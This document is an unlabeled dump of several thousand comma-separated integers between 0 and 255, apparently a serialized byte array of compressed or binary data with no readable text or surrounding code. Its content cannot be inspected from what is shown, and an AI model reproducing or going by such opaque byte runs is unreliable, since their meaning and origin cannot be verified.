6,65,77,186,166,68,179,193,82,74,169,236,6,24,157,42,118,195,229,49,35,86,32,170,217,192,110,192,86,246,252,22,31,74,8,57,107,102,49,47,48,72,74,147,38,180,226,40,246,168,152,25,11,27,75,52,155,44,115,168,105,147,102,11,187,197,142,15,193,240,9,8,190,205,143,143,217,112,175,177,208,197,110,227,66,45,90,84,135,29,106,230,8,245,25,130,145,35,52,224,94,57,135,15,47,244,28,161,49,195,161,226,8,22,180,102,83,172,137,222,192,212,77,236,38,86,191,231,116,28,212,141,11,187,210,220,236,70,86,71,151,158,133,99,81,22,13,90,56,142,246,35,118,60,173,94,216,157,97,5,151,31,37,137,237,73,59,155,213,130,86,45,171,101,75,193,1,248,180,63,251,244,78,72,115,29,247,49,17,220,159,77,208,217,94,81,238,103,86,240,133,143,184,240,66,65,216,158,153,154,68,91,62,236,60,123,113,35,174,73,156,146,41,167,247,227,163,104,38,64,216,196,15,176,170,153,110,188,213,86,220,222,112,215,86,72,74,36,23,132,98,54,250,216,140,40,42,240,121,140,128,168,249,182,86,63,97,88,206,9,242,242,136,132,123,102,45,33,195,128,3,39,123,104,87,58,6,18,47,67,107,90,26,67,208,4,190,175,207,199,134,164,244,80,233,50,130,231,27,5,255,46,67,158,180,68,192,189,179,45,45,21,94,35,165,143,242,82,48,136,204,54,216,155,69,228,111,208,134,10,247,230,84,57,202,207,227,3,206,86,12,74,124,204,198,17,99,109,52,71,122,10,8,89,54,243,117,237,56,6,14,4,29,104,159,94,197,127,24,36,214,137,97,65,53,109,251,140,220,138,195,209,21,77,196,186,144,203,4,92,177,110,204,139,74,104,143,98,61,105,5,156,254,163,63,11,171,226,48,155,171,156,182,75,135,19,186,205,249,126,251,118,206,247,16,37,100,223,5,233,242,87,201,240,159,210,99,34,38,253,132,62,185,100,23,240,145,210,46,8,105,82,237,1,159,37,90,84,124,24,36,122,161,84,221,139,214,65,126,37,81,72,14,85,166,23,149,234,62,244,61,162,244,129,20,85,1,105,89,236,114,46,205,35,56,230,206,180,254,246,140,254,147,81,191,15,181,158,130,165,233,149,250,171,50,250,79,197,140,21,81,250,168,139,170,192,180,47,246,205,116,30,41,165,159,222,161,250,241,49,216,174,150,140,253,7,51,246,127,37,83,186,26,91,234,207,106,73,159,219,18,162,244,113,26,85,134,45,169,68,177,107,210,109,101,245,165,35,215,87,190,76,11,63,88,217,23,67,110,11,136,210,71,117,84,5,237,203,183,151,115,226,204,88,116,230,234,191,47,227,171,199,177,116,26,198,52,175,127,3,234,95,64,2,29,11,68,233,67,64,170,2,199,226,198,204,88,136,72,111,90,127,87,174,254,223,100,236,127,99,165,253,71,229,234,71,148,123,188,136,64,16,251,62,213,254,251,133,238,244,19,199,234,211,241,208,130,11,83,226,253,140,86,105,65,90,235,8,212,210,135,146,84,130,251,252,144,152,184,185,53,138,21,148,149,150,38,157,152,53,151,40,165,52,11,206,151,135,52,34,86,68,179,92,133,5,246,42,34,149,64,154,75,15,6,26,177,140,21,187,149,172,136,21,143,32,83,201,241,47,193,10,124,24,63,223,33,109,194,121,33,141,65,142,161,120,81,66,159,119,10,224,100,176,199,129,203,15,33,229,73,23,93,200,204,130,148,25,39,213,32,183,172,209,49,8,225,18,15,255,171,125,232,128,106,24,38,73,158,84,111,224,223,223,27,78,63,92,142,13,1,144,242,231,219,205,135,220,72,95,196,220,125,24,23,75,105,12,8,138,210,228,8,77,241,5,37,2,88,59,193,161,10,89,236,4,172,174,134,67,158,36,159,62,32,151,167,199,6,223,57,80,227,250,91,12,206,82,72,232,226,92,178,27,231,184,150,123,122,42,45,41,189,82,90,170,189,82,186,141,35,40,101,64,144,1,65,182,45,71,222,241,57,229,79,251,156,242,183,124,78,249,87,63,167,124,89,225,231,147,239,254,156,242,7,63,167,252,109,159,83,254,141,127,92,190,138,123,231,102,91,148,100,191,33,182,36,23,194,37,34,244,217,203,182,109,88,21,59,145,206,20,174,92,66,203,187,210,34,244,120,157,174,251,26,201,122,47,109,223,178,252,73,43,100,234,178,100,218,104,185,138,91,147,120,254,102,74,219,157,177,139,174,66,219,178,240,94,154,207,112,237,200,86,212,237,95,129,227,188,197,190,30,192,251,122,239,91,109,193,79,125,42,210,239,61,121,104,251,184,46,28,196,121,138,235,2,102,67,130,152,23,183,96,73,94,102,97,24,73,47,12,74,202,32,164,12,213,93,56,207,233,98,163,17,209,165,68,35,102,197,50,186,118,176,98,57,93,43,112,249,194,207,255,242,171,5,190,195,34,45,145,242,235,5,43,161,11,6,44,120,184,68,225,178,65,215,169,244,120,245,112,119,129,144,62,75,56,173,31,151,84,179,224,20,188,243,163,67,72,3,135,11,233,227,4,32,236,230,113,216,121,2,72,73,243,143,241,252,105,92,207,227,184,121,164,219,195,242,54,21,163,34,177,91,185,241,61,180,19,189,215,135,136,89,37,80,17,21,19,187,147,223,111,106,14,213,172,170,187,59,83,119,76,166,110,151,74,136,117,42,65,236,126,94,167,113,141,186,135,248,58,211,42,157,63,207,232,52,103,234,142,2,11,159,200,208,107,87,201,28,202,212,213,101,234,184,126,61,205,183,83,191,74,230,249,140,76,195,10,153,23,121,153,198,21,244,151,120,186,101,5,253,21,158,222,180,170,141,215,51,109,236,90,85,247,102,166,238,216,76,157,85,37,226,252,163,18,198,222,206,212,31,183,162,189,119,249,246,142,207,241,207,7,25,254,221,171,218,250,40,83,183,39,83,215,161,18,167,219,130,164,8,242,72,170,115,239,138,182,68,60,189,121,5,93,198,211,173,43,232,74,158,222,178,130,94,200,211,109,43,232,69,60,221,190,70,140,104,249,186,214,85,253,209,49,233,254,180,173,208,103,224,101,218,87,201,108,202,200,56,86,213,85,103,234,58,214,176,99,7,175,179,115,69,91,70,158,222,181,130,94,199,211,187,151,199,117,160,195,202,16,238,205,110,124,14,50,99,174,49,214,212,27,27,205,248,180,23,78,182,97,128,59,32,199,223,8,137,217,101,112,199,140,124,227,64,42,17,138,6,147,200,49,14,46,48,192,210,191,113,112,128,156,51,204,125,111,98,99,219,160,3,143,192,151,1,238,206,3,220,26,198,53,138,190,224,44,201,12,223,38,56,78,94,64,50,47,108,29,140,33,248,76,5,114,58,210,8,132,126,184,206,228,214,65,122,190,86,240,101,228,77,127,23,37,47,11,199,107,19,167,159,242,18,114,62,223,43,9,252,219,2,215,32,25,5,232,161,48,72,97,140,210,111,164,229,135,41,124,129,65,168,20,34,44,16,33,252,153,20,97,175,156,74,81,56,79,225,11,20,254,145,194,119,41,100,20,74,133,132,252,82,129,229,255,166,240,246,60,132,55,43,145,254,146,18,203,175,210,242,219,20,238,204,71,24,201,63,59,95,66,190,159,255,19,128,54,85,175,74,66,230,84,200,249,23,90,30,46,192,242,76,1,218,249,31,180,124,5,133,47,81,72,10,17,58,10,81,195,137,180,60,93,120,70,161,132,92,78,41,247,83,248,2,133,75,133,98,86,66,154,88,132,115,44,182,123,54,251,85,40,127,151,194,59,216,251,0,230,169,177,118,139,26,107,107,41,188,90,141,58,55,104,144,167,154,194,239,104,144,242,160,230,113,141,132,168,138,74,138,36,164,163,8,165,38,139,144,255,70,10,247,23,35,101,130,194,36,133,11,20,158,83,76,253,89,140,246,188,67,161,160,228,236,124,5,217,82,113,76,133,138,124,185,226,146,10,9,121,168,98,20,78,212,219,117,38,157,130,156,169,59,6,40,183,234,80,106,73,135,30,40,171,196,22,143,165,176,155,194,193,202,81,58,198,151,242,113,196,144,131,144,128,255,39,185,134,148,81,76,8,33,0,123,47,169,4,188,144,98,207,243,88,17,197,222,227,49,45,197,10,24,14,211,81,108,39,143,25,40,214,202,99,155,40,182,143,199,170,41,54,199,99,59,40,118,49,143,25,41,246,3,30,171,35,121,96,217,195,128,109,0,204,66,177,151,41,86,201,125,106,142,126,134,174,12,34,210,66,52,80,58,86,128,117,213,124,29,126,60,183,140,199,10,201,217,130,175,11,56,76,12,156,55,9,176,133,109,228,120,202,121,191,224,87,80,183,141,52,211,214,95,163,117,61,144,81,136,65,238,111,128,109,6,236,44,138,149,8,81,103,15,57,155,98,219,41,214,75,206,165,58,241,65,126,37,96,95,166,90,250,121,236,43,36,31,172,246,11,209,178,94,114,9,149,155,165,114,253,128,33,231,151,40,167,147,124,157,98,223,224,177,111,80,236,102,30,187,154,98,63,229,177,111,81,236,89,30,251,14,197,222,224,177,239,81,236,35,192,182,2,118,11,237,123,145,232,104,81,25,25,160,24,33,187,68,216,186,139,220,74,125,118,186,8,45,219,199,99,223,200,193,126,156,131,61,151,131,189,155,131,177,226,108,172,38,131,225,114,130,31,223,168,204,96,39,81,108,63,126,31,14,176,41,138,29,32,119,83,236,76,138,121,200,253,20,251,26,197,188,228,33,138,221,72,49,31,249,57,197,238,161,152,159,60,65,177,67,20,27,35,135,40,246,50,197,130,228,105,138,189,71,177,113,140,97,192,228,18,196,66,228,69,138,233,40,54,129,95,255,2,236,24,138,77,146,87,40,102,165,88,152,188,78,177,65,138,69,200,155,20,27,167,88,148,188,77,177,83,40,22,195,79,130,2,118,1,197,226,228,3,138,93,77,177,41,242,17,197,110,165,88,130,155,116,228,17,138,37,137,136,98,191,166,88,10,191,3,5,216,159,41,54,77,148,220,54,35,69,108,134,20,82,76,67,177,89,82,68,177,45,20,155,35,90,138,53,81,108,158,232,40,214,69,177,147,241,171,123,128,237,167,216,41,100,19,197,18,20,59,149,84,83,236,108,138,157,70,118,80,236,114,138,45,16,35,197,190,79,177,211,73,29,195,146,7,165,199,194,233,251,9,233,30,128,207,80,248,27,10,95,165,240,125,10,69,50,132,37,20,110,164,208,68,97,51,133,125,20,122,0,154,72,68,102,5,120,178,172,21,224,133,178,14,128,87,203,122,0,222,33,115,2,252,185,108,8,224,115,178,81,128,127,148,157,4,240,35,153,23,32,43,31,131,93,205,32,159,128,121,47,85,254,26,96,49,133,71,41,85,130,13,100,7,64,9,169,167,229,93,202,61,16,135,54,10,187,16,22,58,149,44,208,135,129,127,3,241,80,56,65,97,10,160,134,57,77,169,21,104,152,139,16,146,111,41,117,2,150,220,161,52,64,249,168,252,62,40,55,228,187,0,54,231,187,1,118,81,56,156,207,66,173,55,255,4,40,95,155,191,31,224,179,249,65,128,191,203,199,47,120,189,73,225,251,249,191,198,175,210,169,16,230,171,176,86,171,154,0,184,81,21,5,88,163,66,61,77,170,41,128,94,74,137,168,166,65,231,130,106,14,224,185,0,89,242,85,160,176,228,63,105,237,141,148,255,54,10,239,167,148,199,169,230,103,129,162,33,47,171,78,5,202,7,170,69,128,194,130,51,1,170,10,206,1,88,86,112,30,192,77,5,23,1,60,166,224,82,128,187,10,80,234,183,165,65,129,144,156,172,117,3,60,75,203,10,24,114,161,86,47,145,72,46,41,67,205,87,148,129,78,230,214,178,43,37,26,230,231,101,87,3,124,177,236,219,0,223,46,251,46,64,81,249,205,0,181,229,88,222,81,126,27,192,189,229,63,6,232,42,7,126,50,94,126,31,192,4,133,103,151,63,5,240,194,242,87,1,94,94,254,55,128,215,149,23,72,53,228,251,229,155,1,222,89,222,4,240,65,10,159,40,239,6,248,108,185,15,224,75,229,167,0,252,99,249,127,0,124,183,252,59,0,151,202,239,1,40,171,248,47,128,234,138,63,1,212,85,48,50,13,177,87,84,3,236,173,216,5,112,164,162,21,160,175,226,68,128,145,138,5,128,179,21,231,1,60,88,241,77,128,223,174,184,21,224,205,21,15,0,252,113,197,175,0,62,87,241,14,192,223,85,72,229,26,242,167,138,74,128,127,173,168,5,72,116,189,0,243,116,1,128,37,186,121,121,159,1,87,206,139,72,173,60,10,83,194,101,224,246,207,227,229,41,200,157,140,27,56,204,5,152,144,174,176,139,228,34,67,88,126,62,255,221,89,196,46,144,227,202,111,59,138,211,242,109,249,229,48,165,207,57,138,147,123,72,126,35,145,147,143,182,211,58,237,102,197,43,144,163,233,142,65,236,18,178,67,97,96,242,72,53,143,237,81,108,2,204,200,99,78,197,86,192,108,60,22,80,24,1,115,243,216,233,138,70,70,73,252,60,118,49,232,84,146,48,143,125,139,214,17,154,255,157,173,237,37,199,101,176,135,153,42,133,149,81,101,176,135,21,109,76,65,6,123,79,209,199,168,115,228,52,89,114,67,76,113,150,220,62,166,52,75,110,156,169,200,145,211,229,200,85,229,200,25,114,228,54,229,200,109,206,145,59,58,71,110,107,142,220,206,28,185,154,28,57,99,142,156,57,71,174,33,71,174,49,75,46,202,52,101,201,205,50,187,115,252,98,207,145,107,205,146,59,147,105,207,146,251,10,211,157,37,247,77,198,149,35,55,148,37,247,109,198,157,37,119,11,179,47,75,238,126,198,159,35,23,204,146,123,140,9,101,201,29,98,38,115,236,140,229,200,197,179,228,126,205,36,178,228,222,100,78,205,146,19,8,206,33,115,124,244,60,166,220,36,248,50,57,135,58,17,181,52,146,243,200,85,20,227,98,247,60,242,162,145,227,252,80,105,96,206,35,175,243,88,126,126,163,224,188,156,214,207,203,106,253,56,193,5,89,173,55,11,190,146,213,122,135,224,98,242,118,86,11,151,144,46,58,104,7,201,207,10,26,1,235,51,115,45,252,170,224,14,193,37,228,3,154,252,93,68,254,90,240,166,224,171,100,83,19,135,73,11,223,20,92,73,250,120,76,13,216,117,100,142,199,42,1,187,137,92,199,99,213,133,31,10,110,37,119,54,113,58,107,11,13,204,237,228,105,30,219,13,233,240,237,228,192,46,14,187,177,240,21,114,59,185,146,199,110,43,188,67,112,59,185,155,199,254,183,176,66,120,7,36,164,28,86,196,214,9,127,66,10,121,172,134,237,16,222,71,230,40,118,41,137,176,19,194,159,18,163,149,107,125,78,147,18,61,68,142,227,177,47,0,246,51,210,110,229,228,46,208,188,2,39,174,46,30,251,186,38,5,216,169,60,231,159,53,151,138,30,33,139,60,246,1,112,62,66,110,230,49,97,209,229,80,87,212,194,201,237,41,106,100,30,165,222,93,36,151,26,238,47,58,36,122,44,131,61,87,244,140,232,113,98,179,113,114,191,47,250,141,232,73,114,29,143,169,139,223,20,29,34,34,59,239,179,226,119,69,79,147,56,143,85,23,75,196,47,144,67,60,86,91,92,32,62,76,140,173,28,182,187,184,68,252,18,57,143,195,100,142,226,10,241,239,200,207,249,58,87,241,25,162,223,145,227,218,56,203,174,44,110,18,255,158,216,120,236,250,226,61,128,185,218,56,206,31,23,223,33,120,153,60,209,198,141,123,89,73,155,24,86,180,118,14,219,68,177,46,30,59,134,98,231,241,216,46,138,61,193,99,118,78,206,193,97,125,156,28,197,190,64,78,224,228,120,108,140,147,227,177,41,78,174,131,195,78,229,228,58,150,103,192,43,196,213,193,89,253,197,146,211,160,46,206,99,151,151,52,50,175,144,83,121,236,86,138,157,195,99,143,148,124,9,56,47,227,177,95,151,92,8,216,117,60,246,231,146,251,132,175,144,155,121,76,92,250,31,80,119,55,143,29,93,122,5,90,198,99,187,74,81,231,243,60,214,93,90,1,117,47,241,216,1,90,247,38,143,37,75,175,133,186,143,120,236,236,210,27,177,71,157,124,44,149,94,33,120,133,104,121,236,166,210,155,161,174,154,199,30,47,189,29,48,124,165,231,109,26,227,230,237,107,25,12,231,237,31,50,24,206,219,63,18,75,103,218,75,199,9,254,68,246,102,176,70,200,164,221,124,11,239,148,26,152,55,137,159,199,68,218,159,137,223,36,97,30,43,211,190,38,122,147,124,148,37,247,151,28,91,254,146,101,203,159,196,111,103,217,242,158,248,189,44,91,196,146,165,28,57,238,49,7,39,151,47,17,48,203,114,108,22,246,158,162,76,34,98,68,93,233,214,127,41,20,51,90,138,125,65,118,133,246,4,161,132,169,230,48,242,109,237,97,192,44,60,118,139,118,135,80,202,180,243,216,221,218,15,133,10,198,205,99,79,105,27,137,130,201,182,69,145,101,203,38,137,50,203,150,237,146,130,28,91,138,114,228,138,179,228,26,36,165,89,114,187,37,21,57,114,27,114,228,142,202,146,235,144,108,202,146,27,148,108,205,146,243,75,140,57,114,230,44,185,176,164,46,75,110,90,98,201,146,59,67,178,59,71,110,111,150,220,151,36,214,44,185,139,36,246,28,59,59,114,228,58,179,228,172,76,119,150,92,27,211,147,37,215,199,244,51,227,93,92,188,124,187,236,21,226,100,194,153,17,107,4,44,69,49,110,239,112,242,114,173,164,74,241,144,196,201,204,209,186,18,114,106,249,163,146,116,157,132,182,238,100,206,164,117,133,171,228,158,5,206,11,51,114,47,174,146,187,106,29,185,63,2,231,77,25,185,183,87,201,221,189,142,220,18,112,254,60,35,39,150,174,148,123,126,29,185,34,224,124,37,35,87,177,74,238,221,117,228,182,33,103,119,90,206,184,74,174,176,123,109,185,221,192,169,203,200,217,86,201,85,175,35,231,4,206,186,140,220,200,42,57,219,58,114,227,192,217,151,145,139,175,146,59,113,29,185,69,224,28,207,200,157,187,74,110,110,29,185,203,129,243,204,140,220,85,171,228,46,92,71,238,251,192,121,101,70,238,214,85,114,55,172,35,247,32,112,222,154,145,123,100,149,220,253,235,200,61,13,156,79,100,228,126,187,74,238,197,117,228,222,6,206,215,51,114,239,175,146,251,96,29,185,2,153,147,17,245,164,229,202,101,43,229,180,61,107,203,237,4,206,77,25,57,243,42,57,227,58,114,31,10,157,204,113,25,185,61,171,228,218,215,145,235,4,78,87,70,206,185,74,206,191,142,156,7,56,227,25,185,232,42,185,51,215,145,59,12,118,94,152,145,251,194,42,185,43,215,145,187,8,56,111,200,200,93,186,74,238,214,117,228,174,5,206,251,51,114,55,174,146,123,98,29,185,227,4,176,134,100,228,238,90,37,247,202,58,114,15,3,231,219,25,185,199,87,201,125,180,142,220,243,192,41,235,77,203,189,188,58,94,122,215,150,123,15,227,37,35,247,241,42,185,186,117,228,148,114,39,179,55,35,167,145,175,148,235,90,71,238,40,224,116,103,228,182,174,146,27,95,71,206,2,156,169,140,156,117,149,220,153,235,200,185,128,243,194,140,220,9,171,228,174,90,71,110,2,56,111,202,200,197,87,201,221,185,142,220,2,112,62,148,145,59,115,149,220,161,21,114,12,177,200,17,118,82,232,147,227,99,197,69,90,254,6,148,5,124,249,78,57,190,159,116,15,45,63,65,203,79,81,56,167,160,181,138,229,218,251,20,105,40,32,127,86,96,203,119,82,10,190,69,149,203,57,71,203,210,188,220,178,144,74,137,254,95,44,197,245,189,128,114,150,226,151,179,73,85,30,190,115,183,49,239,211,106,37,84,179,116,93,205,219,243,176,92,75,101,247,80,217,86,42,219,159,247,105,181,185,154,251,41,231,103,215,127,210,17,245,159,180,74,255,30,202,121,18,229,60,82,43,185,58,143,236,213,113,202,57,71,57,207,164,173,95,74,91,191,158,182,126,79,30,182,254,120,30,126,34,247,185,60,252,142,203,235,248,77,96,242,110,222,231,147,205,163,86,41,121,171,94,167,122,222,205,234,215,243,202,149,118,226,47,29,113,112,173,248,255,109,65,26,10,40,20,82,40,162,80,76,161,132,66,41,133,178,255,199,243,31,185,71,255,28,125,61,184,186,197,213,244,108,157,159,222,186,48,139,46,224,251,251,217,109,254,108,214,254,99,241,144,91,110,209,98,185,91,139,82,78,45,49,136,200,176,22,199,101,159,22,199,37,164,253,108,60,82,218,174,140,111,55,164,93,158,251,217,109,253,153,198,240,218,182,29,217,183,12,121,145,234,124,133,218,240,39,237,90,20,17,213,47,94,165,63,173,225,127,40,255,71,148,95,136,63,74,67,138,202,214,167,139,169,54,201,186,218,190,65,247,166,170,50,97,102,165,218,81,134,227,107,42,251,180,218,229,117,12,127,98,11,41,107,249,42,219,170,118,106,213,224,42,107,151,233,185,214,14,174,163,211,79,233,169,50,148,253,66,217,90,148,79,243,225,87,202,210,112,101,164,201,73,47,209,144,173,4,79,206,35,228,191,229,123,200,20,121,85,254,107,114,144,82,46,194,172,150,152,104,249,46,98,47,184,66,112,23,9,21,92,43,144,51,103,21,220,32,120,131,210,255,70,225,11,228,251,5,63,20,156,75,254,80,240,130,128,101,222,46,248,111,65,19,51,86,168,20,58,24,172,237,167,112,132,249,67,97,145,208,195,20,176,59,132,35,140,158,221,35,12,49,173,236,9,64,25,100,61,80,246,178,99,194,115,153,67,236,125,194,34,170,243,41,242,44,251,56,208,241,57,140,135,121,155,125,1,202,127,103,15,3,20,171,193,54,160,191,12,156,90,245,27,194,187,136,78,253,142,240,106,102,183,250,67,160,244,169,151,128,50,162,22,139,238,34,126,181,66,116,11,153,83,23,138,46,34,103,171,117,162,71,201,37,106,131,232,59,204,141,234,205,80,190,75,125,12,208,31,84,215,139,174,102,14,1,253,46,242,123,224,185,139,252,15,148,167,24,162,49,136,230,161,149,227,0,170,53,14,209,93,140,81,211,43,58,200,88,52,46,40,31,15,229,187,24,59,133,221,20,14,242,181,39,64,121,31,165,140,81,56,201,211,125,80,78,65,121,30,90,15,139,70,200,219,236,135,194,17,114,157,102,65,244,0,115,139,230,12,209,163,204,115,154,115,0,190,172,185,0,108,168,47,250,174,232,5,166,183,232,78,209,83,100,168,104,1,160,175,232,30,209,239,152,57,40,155,200,89,0,71,200,5,69,63,133,242,165,69,104,249,55,139,30,21,189,193,220,81,116,24,198,241,207,69,175,137,158,98,222,45,186,92,132,229,79,68,239,64,47,182,139,89,193,87,139,57,191,33,252,97,113,155,216,196,252,178,248,101,161,137,249,53,133,191,43,30,21,151,9,122,201,1,177,135,209,148,68,0,162,159,155,153,239,149,156,45,62,151,33,165,247,9,31,32,218,82,240,12,185,175,244,102,177,131,142,145,142,190,167,248,40,243,135,130,195,160,109,147,118,84,252,0,83,167,125,89,28,162,163,28,98,30,209,98,31,55,232,206,151,163,37,23,203,29,130,11,192,158,17,210,167,187,76,254,0,51,170,251,166,252,81,198,163,227,122,125,157,252,41,102,82,119,163,188,140,246,238,59,36,161,187,25,106,231,160,22,189,113,155,188,95,112,161,238,39,32,117,133,238,97,249,20,185,86,119,169,232,92,114,147,238,113,249,136,224,39,186,255,166,177,247,75,90,251,188,188,73,240,51,221,97,128,79,235,26,201,3,204,89,69,41,240,201,11,186,87,228,183,144,255,214,253,69,142,209,242,174,28,163,226,67,249,83,228,79,58,177,200,35,192,190,132,0,62,164,56,72,203,53,48,43,180,0,243,96,150,188,204,104,68,68,177,81,88,33,250,137,162,133,194,107,1,62,174,248,41,45,191,76,161,80,132,112,35,133,45,20,250,68,27,65,234,90,17,202,94,45,219,38,18,43,22,21,8,247,42,17,94,197,193,66,132,6,22,161,156,124,153,228,195,101,37,197,130,63,48,111,136,255,23,46,154,160,3,149,187,171,224,142,63,126,86,72,104,114,78,182,0,192,47,150,28,13,119,124,79,173,26,119,19,130,159,3,97,232,39,204,182,193,125,47,220,183,195,29,223,199,219,65,230,97,94,95,67,110,33,175,147,173,130,123,5,18,97,181,208,37,156,18,206,139,174,21,221,42,250,189,72,47,238,18,79,139,31,21,159,37,191,158,60,36,188,87,188,151,145,147,176,28,246,17,38,143,92,32,199,54,127,68,30,47,98,136,128,185,141,226,222,199,208,134,208,99,104,65,252,49,252,205,214,248,227,132,12,146,203,0,14,145,219,1,14,147,103,1,186,201,107,0,71,136,228,9,66,70,73,43,192,19,136,27,224,137,68,180,72,86,188,176,167,217,63,222,171,32,220,123,107,217,223,166,146,200,142,161,111,47,230,242,141,230,232,240,87,114,191,192,140,60,211,80,126,154,115,25,185,162,18,87,63,1,172,152,184,174,11,96,237,133,204,29,46,25,92,114,250,157,4,1,140,185,0,242,58,1,248,93,0,62,23,128,47,11,32,26,212,164,152,20,193,201,169,136,148,2,212,194,29,63,31,85,14,87,5,92,58,184,42,225,170,130,75,15,151,1,174,13,112,29,5,215,70,184,182,144,205,224,165,205,48,70,155,97,124,54,195,216,108,134,113,217,12,99,178,153,31,227,239,227,239,38,66,196,149,106,149,228,47,208,254,255,194,245,1,92,31,163,45,140,146,72,225,82,194,197,194,85,2,23,125,226,155,10,36,83,164,37,22,137,135,194,158,84,40,22,117,6,194,158,57,90,74,54,167,82,137,144,119,58,21,32,3,243,201,84,32,82,227,156,142,166,66,145,64,13,199,30,72,12,4,18,51,33,95,32,73,34,73,95,44,17,14,121,73,141,47,21,75,144,161,88,200,207,203,16,71,52,85,107,38,214,88,44,28,240,68,9,175,1,21,64,27,222,80,56,148,154,95,110,6,109,169,9,204,5,200,113,221,49,255,116,56,176,155,244,53,147,120,34,54,209,58,104,35,189,222,137,128,47,69,108,129,112,32,232,73,5,156,129,228,116,36,224,26,79,4,60,126,210,61,29,78,133,124,158,100,42,93,155,97,27,142,205,54,212,13,4,82,28,99,75,44,74,127,235,57,93,187,110,5,21,107,91,175,118,221,138,161,80,34,53,237,9,55,135,195,49,159,125,110,89,91,34,148,10,244,37,98,224,170,100,119,32,18,75,204,103,117,195,227,95,187,102,116,118,48,26,241,196,135,66,129,217,222,177,1,232,58,12,73,166,178,5,90,207,168,108,38,124,193,17,29,139,37,34,116,240,200,144,39,60,29,112,205,199,97,240,82,30,176,42,158,93,121,92,95,34,52,3,10,28,145,120,56,16,9,68,83,148,108,11,164,60,161,112,114,247,41,245,45,214,38,115,163,181,101,103,115,99,139,113,103,93,107,107,211,206,38,147,189,118,103,139,201,98,182,181,216,140,173,246,218,166,211,200,254,253,3,40,231,107,78,36,60,243,142,104,40,133,173,13,132,78,14,28,223,152,25,192,83,236,246,70,75,93,189,189,101,103,171,173,9,84,153,26,77,59,173,102,179,125,167,165,165,190,197,210,108,109,181,154,234,236,167,145,145,214,225,120,192,100,183,78,68,189,141,115,195,253,115,14,47,233,236,232,233,140,141,214,13,56,157,77,137,148,195,57,108,237,37,3,173,131,117,17,175,171,182,173,59,17,72,53,186,218,99,209,49,226,15,119,181,70,188,131,150,177,209,224,196,172,217,220,10,193,56,158,140,118,249,39,187,83,169,166,225,218,174,208,80,108,102,158,132,252,214,65,91,251,216,244,84,253,180,203,209,223,236,112,197,200,108,221,180,207,225,109,239,157,140,77,69,71,218,103,28,67,30,178,28,136,206,208,156,183,175,35,210,52,81,159,24,153,115,120,134,90,99,7,76,196,233,25,239,116,58,91,234,205,110,115,189,39,54,99,235,236,32,195,61,141,222,153,161,68,215,224,200,84,115,160,203,104,157,2,81,255,120,123,195,120,163,211,225,24,28,110,176,118,117,198,2,36,216,238,27,140,5,77,131,99,93,214,161,193,126,95,212,223,75,90,226,29,109,131,115,227,13,179,65,111,103,170,199,58,238,109,35,193,145,246,192,248,76,235,64,215,104,36,49,105,183,246,56,108,196,21,11,217,199,173,33,79,176,190,163,101,122,106,160,207,229,33,46,115,208,31,53,213,119,52,180,250,26,157,61,86,247,212,36,25,179,12,119,58,39,122,230,130,169,134,182,254,185,185,198,241,32,105,31,237,156,142,53,204,248,163,179,193,241,182,169,230,238,240,52,25,50,141,140,186,218,27,134,123,19,19,205,222,212,100,91,111,146,184,199,234,26,140,145,254,182,84,196,100,12,206,14,246,59,199,137,61,58,29,33,51,222,182,161,230,145,218,80,251,140,121,216,215,97,105,25,175,37,137,169,96,188,187,55,22,108,232,247,182,56,252,67,243,51,137,79,139,161,90,75,99,157,217,110,183,237,108,48,55,181,236,172,107,174,181,236,108,170,175,111,221,105,53,214,53,153,154,205,141,166,150,166,134,35,197,144,185,190,225,8,181,117,198,35,84,214,30,177,210,124,132,74,211,145,218,108,168,59,146,164,133,156,220,108,50,77,55,14,68,122,58,198,131,179,205,141,131,77,14,18,239,241,123,102,76,253,51,174,65,127,109,207,200,124,212,24,36,158,174,14,127,125,83,108,202,91,55,61,229,154,235,107,130,101,98,170,39,212,227,236,53,7,187,2,125,78,115,87,164,209,95,79,38,221,125,173,195,109,137,153,122,75,176,46,212,58,58,220,208,73,122,134,251,234,146,126,103,183,187,126,192,106,107,138,249,135,154,137,119,186,53,97,239,105,26,104,8,205,12,141,13,123,6,236,118,50,19,238,176,199,70,189,3,115,201,33,127,207,208,156,105,126,144,36,205,51,173,206,38,99,116,62,22,15,71,45,97,75,221,44,137,59,70,18,145,30,183,111,198,60,57,224,159,178,182,134,226,100,106,196,221,237,113,246,118,197,141,189,97,135,213,150,114,207,145,112,163,103,114,54,62,50,209,53,60,53,62,63,31,105,168,13,18,111,108,210,218,225,237,158,183,56,236,115,225,81,135,179,185,133,116,141,140,59,250,199,235,71,146,237,35,147,29,99,61,211,243,211,36,150,232,178,121,27,82,169,174,250,122,123,87,159,101,100,54,73,122,39,140,227,29,177,198,88,79,87,95,44,236,177,15,15,182,146,246,254,225,94,187,53,25,24,9,118,181,53,186,71,77,211,22,98,237,72,13,217,125,45,70,71,172,223,220,145,240,142,247,53,146,228,64,116,180,191,181,199,211,237,156,169,111,241,54,183,214,13,146,129,201,212,212,152,35,210,56,215,58,239,176,183,39,194,195,208,237,161,238,112,48,58,56,226,136,164,218,157,195,67,157,141,245,100,192,235,234,181,205,186,230,250,187,131,137,89,239,68,35,108,37,193,198,33,231,140,101,188,109,186,45,238,28,28,109,72,77,207,146,142,218,134,217,84,235,176,221,94,27,154,139,182,155,157,41,15,25,107,118,142,207,143,214,53,206,55,206,119,79,180,15,142,219,189,196,109,78,118,166,172,93,245,62,183,221,51,60,89,31,246,58,200,160,45,218,50,62,59,61,230,12,58,227,176,196,89,125,33,210,58,86,63,48,17,107,104,177,7,70,92,86,147,185,105,118,136,4,124,230,214,145,230,25,87,163,187,183,187,127,114,166,113,192,79,236,51,157,206,209,129,118,107,67,135,177,115,164,174,181,107,188,110,156,244,119,24,131,193,169,246,129,136,217,26,107,236,31,236,115,76,245,145,88,202,219,219,221,221,222,239,157,177,187,70,71,194,38,15,184,63,214,216,84,219,217,211,30,107,105,137,244,36,91,58,198,103,99,115,164,185,139,112,223,19,32,157,129,68,52,16,134,0,143,166,252,225,48,113,38,35,252,246,184,98,19,76,205,145,28,100,197,102,7,148,28,100,121,83,195,61,109,197,94,70,114,55,48,178,114,215,34,203,59,85,51,201,217,179,215,222,153,87,17,214,222,137,87,17,86,236,188,107,236,184,171,119,218,53,119,216,21,59,171,179,127,60,20,105,26,105,27,29,11,119,206,197,3,209,185,9,210,237,9,69,137,39,17,76,130,202,153,64,34,25,224,221,15,55,210,50,238,73,16,107,40,234,73,204,187,98,60,61,9,116,235,60,236,42,93,49,143,191,43,228,77,64,101,51,230,69,125,80,209,227,137,4,200,100,122,224,160,91,212,83,126,127,2,90,39,227,188,25,84,178,57,30,226,141,